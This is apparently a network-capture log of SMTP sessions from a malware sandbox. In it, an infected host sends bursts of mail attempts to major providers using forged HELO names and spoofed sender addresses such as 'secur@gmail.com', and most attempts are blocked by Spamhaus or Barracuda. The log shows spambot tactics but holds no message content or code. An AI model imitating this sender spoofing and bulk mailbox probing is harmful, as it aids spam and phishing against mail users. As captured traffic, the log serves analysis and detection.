Jan 7, 2022 15:54:11.849633932 CET	49777	25	192.168.2.3	194.152.32.74	HELO mx1.inbox.lv
Jan 7, 2022 15:54:11.901782990 CET	25	49777	194.152.32.74	192.168.2.3	250 timmy4-world.inbox.lv
Jan 7, 2022 15:54:11.901913881 CET	49777	25	192.168.2.3	194.152.32.74	MAIL FROM: <adam.walker@mail.aim.com>
Jan 7, 2022 15:54:11.943805933 CET	25	49777	194.152.32.74	192.168.2.3	250 2.1.0 Ok
Jan 7, 2022 15:54:11.943943024 CET	49777	25	192.168.2.3	194.152.32.74	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:54:11.985780001 CET	25	49777	194.152.32.74	192.168.2.3	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:54:11.985956907 CET	49777	25	192.168.2.3	194.152.32.74	QUIT
Jan 7, 2022 15:54:12.027885914 CET	25	49777	194.152.32.74	192.168.2.3	221 2.0.0 Bye
Jan 7, 2022 15:54:12.070137024 CET	25	49778	194.152.32.75	192.168.2.3	220-timmy5-world.inbox.lv ESMTP
Jan 7, 2022 15:54:12.070702076 CET	49778	25	192.168.2.3	194.152.32.75	HELO mx2.inbox.lv
Jan 7, 2022 15:54:12.112463951 CET	25	49778	194.152.32.75	192.168.2.3	250 timmy5-world.inbox.lv
Jan 7, 2022 15:54:12.261524916 CET	49778	25	192.168.2.3	194.152.32.75	MAIL FROM: <adam.walker@mail.aim.com>
Jan 7, 2022 15:54:12.303337097 CET	25	49778	194.152.32.75	192.168.2.3	250 2.1.0 Ok
Jan 7, 2022 15:54:12.303729057 CET	49778	25	192.168.2.3	194.152.32.75	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:54:12.345747948 CET	25	49778	194.152.32.75	192.168.2.3	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using spamhaus.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:54:12.346014977 CET	49778	25	192.168.2.3	194.152.32.75	QUIT
Jan 7, 2022 15:54:12.388016939 CET	25	49778	194.152.32.75	192.168.2.3	221 2.0.0 Bye
Jan 7, 2022 15:54:12.493613005 CET	49776	25	192.168.2.3	108.177.119.26	. QUIT
Jan 7, 2022 15:54:12.703510046 CET	25	49774	91.136.8.47	192.168.2.3	220 mail187c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:54:10 +0000
Jan 7, 2022 15:54:12.703731060 CET	49774	25	192.168.2.3	91.136.8.47	HELO mx3c50.megamailservers.eu
Jan 7, 2022 15:54:12.753288031 CET	25	49774	91.136.8.47	192.168.2.3	250 mail187c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:54:12.753456116 CET	49774	25	192.168.2.3	91.136.8.47	MAIL FROM: <dave.lee@care2.com>
Jan 7, 2022 15:54:13.362099886 CET	25	49779	195.3.96.71	192.168.2.3	220 smarthub82.res.a1.net ESMTP
Jan 7, 2022 15:54:13.362250090 CET	49779	25	192.168.2.3	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:54:13.383055925 CET	25	49779	195.3.96.71	192.168.2.3	250 smarthub82.res.a1.net
Jan 7, 2022 15:54:13.383294106 CET	49779	25	192.168.2.3	195.3.96.71	MAIL FROM: <secur@a1plus.at>
Jan 7, 2022 15:54:13.404387951 CET	25	49779	195.3.96.71	192.168.2.3	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:54:13.404531002 CET	49779	25	192.168.2.3	195.3.96.71	QUIT
Jan 7, 2022 15:54:13.425501108 CET	25	49779	195.3.96.71	192.168.2.3	221 smarthub82.res.a1.net Goodbye.
Jan 7, 2022 15:54:13.485407114 CET	25	49774	91.136.8.47	192.168.2.3	250 2.1.0 <dave.lee@care2.com>... Sender ok
Jan 7, 2022 15:54:13.485644102 CET	49774	25	192.168.2.3	91.136.8.47	RCPT TO: <web@telering.at>
Jan 7, 2022 15:54:13.541313887 CET	25	49774	91.136.8.47	192.168.2.3	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:54:13.586488962 CET	49774	25	192.168.2.3	91.136.8.47	QUIT
Jan 7, 2022 15:54:13.631064892 CET	25	49774	91.136.8.47	192.168.2.3	221 2.0.0 mail187c50.megamailservers.eu closing connection
Jan 7, 2022 15:54:13.907099962 CET	25	49780	195.3.96.71	192.168.2.3	220 smarthub77.res.a1.net ESMTP
Jan 7, 2022 15:54:13.907494068 CET	49780	25	192.168.2.3	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:54:14.030889034 CET	25	49780	195.3.96.71	192.168.2.3	250 smarthub77.res.a1.net
Jan 7, 2022 15:54:14.031085968 CET	49780	25	192.168.2.3	195.3.96.71	MAIL FROM: <secur@a1plus.at>
Jan 7, 2022 15:54:14.052128077 CET	25	49780	195.3.96.71	192.168.2.3	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:54:14.052335024 CET	49780	25	192.168.2.3	195.3.96.71	QUIT
Jan 7, 2022 15:54:14.073249102 CET	25	49780	195.3.96.71	192.168.2.3	221 smarthub77.res.a1.net Goodbye.
Jan 7, 2022 15:54:16.284177065 CET	25	49775	213.186.119.6	192.168.2.3	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:54:15 +0200
Jan 7, 2022 15:54:16.389230013 CET	25	49781	91.136.8.41	192.168.2.3	220 mail284c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:54:14 +0000
Jan 7, 2022 15:54:21.106776953 CET	49775	25	192.168.2.3	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:54:21.106801987 CET	49781	25	192.168.2.3	91.136.8.41	HELO mx1c50.megamailservers.eu
Jan 7, 2022 15:54:21.150742054 CET	25	49781	91.136.8.41	192.168.2.3	250 mail284c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:54:21.150880098 CET	49781	25	192.168.2.3	91.136.8.41	MAIL FROM: <secur@telering.at>
Jan 7, 2022 15:54:21.167248964 CET	25	49775	213.186.119.6	192.168.2.3	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:54:21.167435884 CET	49775	25	192.168.2.3	213.186.119.6	MAIL FROM: <serv@bigmir.net>
Jan 7, 2022 15:54:21.227710962 CET	25	49775	213.186.119.6	192.168.2.3	250 OK
Jan 7, 2022 15:54:21.227828026 CET	49775	25	192.168.2.3	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:54:21.281928062 CET	25	49781	91.136.8.41	192.168.2.3	250 2.1.0 <secur@telering.at>... Sender ok
Jan 7, 2022 15:54:21.282037020 CET	49781	25	192.168.2.3	91.136.8.41	RCPT TO: <web@telering.at>
Jan 7, 2022 15:54:21.309977055 CET	25	49775	213.186.119.6	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:54:21.310102940 CET	49775	25	192.168.2.3	213.186.119.6	QUIT
Jan 7, 2022 15:54:21.370309114 CET	25	49775	213.186.119.6	192.168.2.3	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:54:21.397598028 CET	25	49781	91.136.8.41	192.168.2.3	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:54:21.397716045 CET	49781	25	192.168.2.3	91.136.8.41	QUIT
Jan 7, 2022 15:54:21.440259933 CET	25	49781	91.136.8.41	192.168.2.3	221 2.0.0 mail284c50.megamailservers.eu closing connection
Jan 7, 2022 15:54:21.573681116 CET	25	49786	195.3.96.71	192.168.2.3	220 smarthub85.res.a1.net ESMTP
Jan 7, 2022 15:54:21.573822975 CET	49786	25	192.168.2.3	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:54:21.594616890 CET	25	49786	195.3.96.71	192.168.2.3	250 smarthub85.res.a1.net
Jan 7, 2022 15:54:21.594758034 CET	49786	25	192.168.2.3	195.3.96.71	MAIL FROM: <hall_pxogn@fastmail.fm>
Jan 7, 2022 15:54:21.615478992 CET	25	49786	195.3.96.71	192.168.2.3	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:54:21.615628958 CET	49786	25	192.168.2.3	195.3.96.71	QUIT
Jan 7, 2022 15:54:21.636560917 CET	25	49786	195.3.96.71	192.168.2.3	221 smarthub85.res.a1.net Goodbye.
Jan 7, 2022 15:54:21.665024996 CET	25	49785	98.136.96.77	192.168.2.3	220 mtaproxy512.free.mail.ne1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:22.125346899 CET	25	49788	104.47.57.161	192.168.2.3	220 DM6NAM11FT047.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:21 +0000
Jan 7, 2022 15:54:23.502098083 CET	25	49784	91.136.8.46	192.168.2.3	220 mail39c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:54:21 +0000
Jan 7, 2022 15:54:23.502304077 CET	49784	25	192.168.2.3	91.136.8.46	HELO mx2c50.megamailservers.eu
Jan 7, 2022 15:54:23.546056032 CET	25	49784	91.136.8.46	192.168.2.3	250 mail39c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:54:23.546238899 CET	49784	25	192.168.2.3	91.136.8.46	MAIL FROM: <secur@telering.at>
Jan 7, 2022 15:54:23.697773933 CET	25	49784	91.136.8.46	192.168.2.3	250 2.1.0 <secur@telering.at>... Sender ok
Jan 7, 2022 15:54:23.697967052 CET	49784	25	192.168.2.3	91.136.8.46	RCPT TO: <web@telering.at>
Jan 7, 2022 15:54:23.810422897 CET	25	49784	91.136.8.46	192.168.2.3	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:54:23.810586929 CET	49784	25	192.168.2.3	91.136.8.46	QUIT
Jan 7, 2022 15:54:23.853789091 CET	25	49784	91.136.8.46	192.168.2.3	221 2.0.0 mail39c50.megamailservers.eu closing connection
Jan 7, 2022 15:54:26.815244913 CET	25	49791	98.136.96.77	192.168.2.3	220 mtaproxy502.free.mail.ne1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:26.815392971 CET	49791	25	192.168.2.3	98.136.96.77	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:54:26.938751936 CET	25	49791	98.136.96.77	192.168.2.3	250 mtaproxy502.free.mail.ne1.yahoo.com
Jan 7, 2022 15:54:26.938882113 CET	49791	25	192.168.2.3	98.136.96.77	MAIL FROM: <den.taylor@mail.aim.com>
Jan 7, 2022 15:54:27.041685104 CET	25	49792	104.47.57.161	192.168.2.3	220 DM6NAM11FT055.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:26 +0000
Jan 7, 2022 15:54:27.041800976 CET	49792	25	192.168.2.3	104.47.57.161	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:54:27.062861919 CET	25	49791	98.136.96.77	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:27.063003063 CET	49791	25	192.168.2.3	98.136.96.77	QUIT
Jan 7, 2022 15:54:27.173239946 CET	25	49792	104.47.57.161	192.168.2.3	250 DM6NAM11FT055.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:27.173357010 CET	49792	25	192.168.2.3	104.47.57.161	MAIL FROM: <secur@hotmail.com>
Jan 7, 2022 15:54:27.293348074 CET	25	49793	67.195.204.77	192.168.2.3	220 mtaproxy105.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:27.293606997 CET	49793	25	192.168.2.3	67.195.204.77	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:54:27.306664944 CET	25	49792	104.47.57.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM6NAM11FT055.eop-nam11.prod.protection.outlook.com]
Jan 7, 2022 15:54:27.306782007 CET	49792	25	192.168.2.3	104.47.57.161	QUIT
Jan 7, 2022 15:54:27.409050941 CET	25	49793	67.195.204.77	192.168.2.3	250 mtaproxy105.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:27.409215927 CET	49793	25	192.168.2.3	67.195.204.77	MAIL FROM: <den.taylor@mail.aim.com>
Jan 7, 2022 15:54:27.523148060 CET	25	49793	67.195.204.77	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:27.523304939 CET	49793	25	192.168.2.3	67.195.204.77	QUIT
Jan 7, 2022 15:54:27.524319887 CET	25	49794	77.88.21.249	192.168.2.3	220 myt6-a3480b35b3c0.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567267-AnhVOCPRtv-sReuKWjB
Jan 7, 2022 15:54:27.524457932 CET	49794	25	192.168.2.3	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:54:27.579813004 CET	25	49794	77.88.21.249	192.168.2.3	250 myt6-a3480b35b3c0.qloud-c.yandex.net
Jan 7, 2022 15:54:27.580045938 CET	49794	25	192.168.2.3	77.88.21.249	MAIL FROM: <sec@yandex.ru>
Jan 7, 2022 15:54:27.633697987 CET	25	49795	77.88.21.249	192.168.2.3	220 vla5-bdae98a01b27.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567267-bGCr5IvklE-sRfSliqb
Jan 7, 2022 15:54:27.633836985 CET	49795	25	192.168.2.3	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:54:27.636946917 CET	25	49794	77.88.21.249	192.168.2.3	250 2.1.0 <sec@yandex.ru> ok 1641567267-AnhVOCPRtv-sReukS9j
Jan 7, 2022 15:54:27.637079000 CET	49794	25	192.168.2.3	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:54:27.689716101 CET	25	49795	77.88.21.249	192.168.2.3	250 vla5-bdae98a01b27.qloud-c.yandex.net
Jan 7, 2022 15:54:27.689814091 CET	49795	25	192.168.2.3	77.88.21.249	MAIL FROM: <serv@tut.by>
Jan 7, 2022 15:54:27.705280066 CET	25	49794	77.88.21.249	192.168.2.3	550 5.7.1 No such user! 1641567267-AnhVOCPRtv-sReukS9j
Jan 7, 2022 15:54:27.705435038 CET	49794	25	192.168.2.3	77.88.21.249	QUIT
Jan 7, 2022 15:54:27.751130104 CET	25	49796	67.195.204.79	192.168.2.3	220 mtaproxy206.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:27.751303911 CET	49796	25	192.168.2.3	67.195.204.79	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:54:27.760843992 CET	25	49794	77.88.21.249	192.168.2.3	221 2.0.0 Closing connecton
Jan 7, 2022 15:54:27.763442039 CET	25	49795	77.88.21.249	192.168.2.3	250 2.1.0 <serv@tut.by> ok 1641567267-bGCr5IvklE-sRfSRDHc
Jan 7, 2022 15:54:27.763552904 CET	49795	25	192.168.2.3	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:54:27.826690912 CET	25	49795	77.88.21.249	192.168.2.3	550 5.7.1 No such user! 1641567267-bGCr5IvklE-sRfSRDHc
Jan 7, 2022 15:54:27.826811075 CET	49795	25	192.168.2.3	77.88.21.249	QUIT
Jan 7, 2022 15:54:27.864769936 CET	25	49796	67.195.204.79	192.168.2.3	250 mtaproxy206.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:27.864864111 CET	49796	25	192.168.2.3	67.195.204.79	MAIL FROM: <den.taylor@mail.aim.com>
Jan 7, 2022 15:54:27.882988930 CET	25	49795	77.88.21.249	192.168.2.3	221 2.0.0 Closing connecton
Jan 7, 2022 15:54:27.922847986 CET	25	49797	74.208.5.20	192.168.2.3	554-mail.com (mxgmxus009) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:54:27.980076075 CET	25	49796	67.195.204.79	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:27.980217934 CET	49796	25	192.168.2.3	67.195.204.79	QUIT
Jan 7, 2022 15:54:28.192869902 CET	25	49798	74.208.5.22	192.168.2.3	554-mail.com (mxgmxus010) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:54:30.109910011 CET	25	49801	108.177.119.26	192.168.2.3	220 mx.google.com ESMTP c18si2780033ejj.325 - gsmtp
Jan 7, 2022 15:54:30.110079050 CET	49801	25	192.168.2.3	108.177.119.26	HELO gmail-smtp-in.l.google.com
Jan 7, 2022 15:54:30.141891956 CET	25	49801	108.177.119.26	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:54:30.142045975 CET	49801	25	192.168.2.3	108.177.119.26	MAIL FROM: <secur@gmail.com>
Jan 7, 2022 15:54:30.168731928 CET	25	49801	108.177.119.26	192.168.2.3	250 2.1.0 OK c18si2780033ejj.325 - gsmtp
Jan 7, 2022 15:54:30.168874025 CET	49801	25	192.168.2.3	108.177.119.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:54:30.340934038 CET	25	49801	108.177.119.26	192.168.2.3	250 2.1.5 OK c18si2780033ejj.325 - gsmtp
Jan 7, 2022 15:54:30.341038942 CET	49801	25	192.168.2.3	108.177.119.26	DATA
Jan 7, 2022 15:54:30.367603064 CET	25	49801	108.177.119.26	192.168.2.3	354 Go ahead c18si2780033ejj.325 - gsmtp
Jan 7, 2022 15:54:30.386466980 CET	25	49802	194.152.32.72	192.168.2.3	220-timmy2-world.inbox.lv ESMTP
Jan 7, 2022 15:54:30.386653900 CET	49802	25	192.168.2.3	194.152.32.72	HELO mx1.inbox.lv
Jan 7, 2022 15:54:30.428364992 CET	25	49802	194.152.32.72	192.168.2.3	250 timmy2-world.inbox.lv
Jan 7, 2022 15:54:30.428486109 CET	49802	25	192.168.2.3	194.152.32.72	MAIL FROM: <sec@inbox.lv>
Jan 7, 2022 15:54:30.470093012 CET	25	49802	194.152.32.72	192.168.2.3	250 2.1.0 Ok
Jan 7, 2022 15:54:30.470237970 CET	49802	25	192.168.2.3	194.152.32.72	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:54:30.511960030 CET	25	49802	194.152.32.72	192.168.2.3	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:54:30.512070894 CET	49802	25	192.168.2.3	194.152.32.72	QUIT
Jan 7, 2022 15:54:30.521349907 CET	25	49803	104.47.17.161	192.168.2.3	220 VI1EUR05FT042.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:26 +0000
Jan 7, 2022 15:54:30.521583080 CET	49803	25	192.168.2.3	104.47.17.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:30.546188116 CET	25	49803	104.47.17.161	192.168.2.3	250 VI1EUR05FT042.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:30.546350956 CET	49803	25	192.168.2.3	104.47.17.161	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:54:30.553965092 CET	25	49802	194.152.32.72	192.168.2.3	221 2.0.0 Bye
Jan 7, 2022 15:54:30.571470022 CET	25	49803	104.47.17.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [VI1EUR05FT042.eop-eur05.prod.protection.outlook.com]
Jan 7, 2022 15:54:30.572113991 CET	49803	25	192.168.2.3	104.47.17.161	QUIT
Jan 7, 2022 15:54:30.596052885 CET	25	49804	194.152.32.75	192.168.2.3	220-timmy5-world.inbox.lv ESMTP
Jan 7, 2022 15:54:30.596199989 CET	49804	25	192.168.2.3	194.152.32.75	HELO mx2.inbox.lv
Jan 7, 2022 15:54:30.638286114 CET	25	49804	194.152.32.75	192.168.2.3	250 timmy5-world.inbox.lv
Jan 7, 2022 15:54:30.638478994 CET	49804	25	192.168.2.3	194.152.32.75	MAIL FROM: <sec@inbox.lv>
Jan 7, 2022 15:54:30.680417061 CET	25	49804	194.152.32.75	192.168.2.3	250 2.1.0 Ok
Jan 7, 2022 15:54:30.680531979 CET	49804	25	192.168.2.3	194.152.32.75	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:54:30.722426891 CET	25	49804	194.152.32.75	192.168.2.3	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:54:30.722523928 CET	49804	25	192.168.2.3	194.152.32.75	QUIT
Jan 7, 2022 15:54:30.764415026 CET	25	49804	194.152.32.75	192.168.2.3	221 2.0.0 Bye
Jan 7, 2022 15:54:31.101221085 CET	49801	25	192.168.2.3	108.177.119.26	. QUIT
Jan 7, 2022 15:54:32.822937012 CET	25	49806	67.195.204.74	192.168.2.3	220 mtaproxy502.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:32.825462103 CET	49806	25	192.168.2.3	67.195.204.74	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:54:32.940963984 CET	25	49806	67.195.204.74	192.168.2.3	250 mtaproxy502.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:32.941106081 CET	49806	25	192.168.2.3	67.195.204.74	MAIL FROM: <secur@yahoo.com>
Jan 7, 2022 15:54:33.055291891 CET	25	49806	67.195.204.74	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:33.055470943 CET	49806	25	192.168.2.3	67.195.204.74	QUIT
Jan 7, 2022 15:54:33.091211081 CET	25	49799	213.186.119.6	192.168.2.3	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:54:32 +0200
Jan 7, 2022 15:54:33.092772007 CET	49799	25	192.168.2.3	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:54:33.151468039 CET	25	49799	213.186.119.6	192.168.2.3	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:54:33.151679993 CET	49799	25	192.168.2.3	213.186.119.6	MAIL FROM: <gerhard.green@hotmail.com>
Jan 7, 2022 15:54:33.210228920 CET	25	49799	213.186.119.6	192.168.2.3	250 OK
Jan 7, 2022 15:54:33.210388899 CET	49799	25	192.168.2.3	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:54:33.285876036 CET	25	49799	213.186.119.6	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:54:33.286035061 CET	49799	25	192.168.2.3	213.186.119.6	QUIT
Jan 7, 2022 15:54:33.312923908 CET	25	49807	67.195.204.79	192.168.2.3	220 mtaproxy204.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:33.317521095 CET	49807	25	192.168.2.3	67.195.204.79	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:54:33.344624996 CET	25	49799	213.186.119.6	192.168.2.3	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:54:33.431832075 CET	25	49807	67.195.204.79	192.168.2.3	250 mtaproxy204.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:33.431930065 CET	49807	25	192.168.2.3	67.195.204.79	MAIL FROM: <secur@yahoo.com>
Jan 7, 2022 15:54:33.545931101 CET	25	49807	67.195.204.79	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:33.546107054 CET	49807	25	192.168.2.3	67.195.204.79	QUIT
Jan 7, 2022 15:54:33.639621973 CET	25	49809	104.47.57.33	192.168.2.3	220 SN1NAM02FT0042.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:32 +0000
Jan 7, 2022 15:54:33.639825106 CET	49809	25	192.168.2.3	104.47.57.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:33.758529902 CET	25	49811	104.47.58.161	192.168.2.3	220 BN8NAM11FT056.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:33 +0000
Jan 7, 2022 15:54:33.758671999 CET	49811	25	192.168.2.3	104.47.58.161	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:54:33.767968893 CET	25	49809	104.47.57.33	192.168.2.3	250 SN1NAM02FT0042.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:33.768100023 CET	49809	25	192.168.2.3	104.47.57.33	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:54:33.862026930 CET	25	49811	104.47.58.161	192.168.2.3	250 BN8NAM11FT056.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:33.862160921 CET	49811	25	192.168.2.3	104.47.58.161	MAIL FROM: <david.baker@gmail.com>
Jan 7, 2022 15:54:33.878658056 CET	25	49810	67.195.204.79	192.168.2.3	220 mtaproxy203.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:33.878860950 CET	49810	25	192.168.2.3	67.195.204.79	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:54:33.897023916 CET	25	49809	104.47.57.33	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [SN1NAM02FT0042.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:54:33.897181034 CET	49809	25	192.168.2.3	104.47.57.33	QUIT
Jan 7, 2022 15:54:33.966067076 CET	25	49811	104.47.58.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN8NAM11FT056.eop-nam11.prod.protection.outlook.com]
Jan 7, 2022 15:54:33.966269970 CET	49811	25	192.168.2.3	104.47.58.161	QUIT
Jan 7, 2022 15:54:33.992381096 CET	25	49810	67.195.204.79	192.168.2.3	250 mtaproxy203.free.mail.bf1.yahoo.com
Jan 7, 2022 15:54:33.992501974 CET	49810	25	192.168.2.3	67.195.204.79	MAIL FROM: <secur@yahoo.com>
Jan 7, 2022 15:54:34.106415033 CET	25	49810	67.195.204.79	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:34.106591940 CET	49810	25	192.168.2.3	67.195.204.79	QUIT
Jan 7, 2022 15:54:34.284506083 CET	25	49812	77.88.21.249	192.168.2.3	220 sas2-172978d0c4cb.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567274-kjvqLPqJEN-sYe4rX86
Jan 7, 2022 15:54:34.284619093 CET	49812	25	192.168.2.3	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:54:34.344419956 CET	25	49812	77.88.21.249	192.168.2.3	250 sas2-172978d0c4cb.qloud-c.yandex.net
Jan 7, 2022 15:54:34.344511986 CET	49812	25	192.168.2.3	77.88.21.249	MAIL FROM: <taylor_1950@mail.com>
Jan 7, 2022 15:54:34.404948950 CET	25	49812	77.88.21.249	192.168.2.3	250 2.1.0 <taylor_1950@mail.com> ok 1641567274-kjvqLPqJEN-sYe48uJa
Jan 7, 2022 15:54:34.405081987 CET	49812	25	192.168.2.3	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:54:34.475682020 CET	25	49812	77.88.21.249	192.168.2.3	550 5.7.1 No such user! 1641567274-kjvqLPqJEN-sYe48uJa
Jan 7, 2022 15:54:34.477621078 CET	49812	25	192.168.2.3	77.88.21.249	QUIT
Jan 7, 2022 15:54:34.504829884 CET	25	49813	77.88.21.249	192.168.2.3	220 myt6-8edbfcc28b9d.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641567274-Si04IFeMsx-sYemTFTs
Jan 7, 2022 15:54:34.505024910 CET	49813	25	192.168.2.3	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:54:34.537789106 CET	25	49812	77.88.21.249	192.168.2.3	221 2.0.0 Closing connecton
Jan 7, 2022 15:54:34.557420969 CET	25	49813	77.88.21.249	192.168.2.3	250 myt6-8edbfcc28b9d.qloud-c.yandex.net
Jan 7, 2022 15:54:34.557643890 CET	49813	25	192.168.2.3	77.88.21.249	MAIL FROM: <cyber.martin@mail.lycos.com>
